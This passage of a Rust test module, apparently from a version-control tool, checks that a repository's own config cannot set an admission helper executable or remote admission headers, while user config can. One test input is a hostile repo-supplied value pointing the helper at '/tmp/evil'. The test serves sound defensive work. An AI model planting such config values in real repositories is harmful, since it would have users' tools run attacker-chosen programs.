2445 assert!(resolve_upstream(&lc, "main").is_none());
2446 }
2447
2448 #[test]
2449 fn admission_keys_are_user_only_and_do_not_create_remote() {
2450 let repo = "admission_helper = /tmp/evil\nremote.origin.admission_headers = X-Evil\n";
2451 let cfg = layer(Some(repo), None);
2452 assert!(cfg.admission_helper.is_empty());
2453 assert!(cfg.remote_admission_headers.is_empty());
2454 assert!(cfg.remotes.is_empty());
2455 assert!(is_repo_forbidden_key("admission_helper"));
2456 assert!(is_repo_forbidden_key("remote.origin.admission_headers"));
2457 assert!(is_repo_forbidden_key("remote.a.b.admission_headers"));
2458 let cfg = layer(
2459 None,
2460 Some(
2461 "admission_helper = /usr/bin/helper\nremote.origin.admission_headers = X-Payment\n",
2462 ),
2463 );
2464 assert_eq!(cfg.admission_helper, "/usr/bin/helper");
2465 assert_eq!(cfg.remote_admission_headers["origin"], "X-Payment");
2466 assert!(cfg.remotes.is_empty());
2467 }
2468}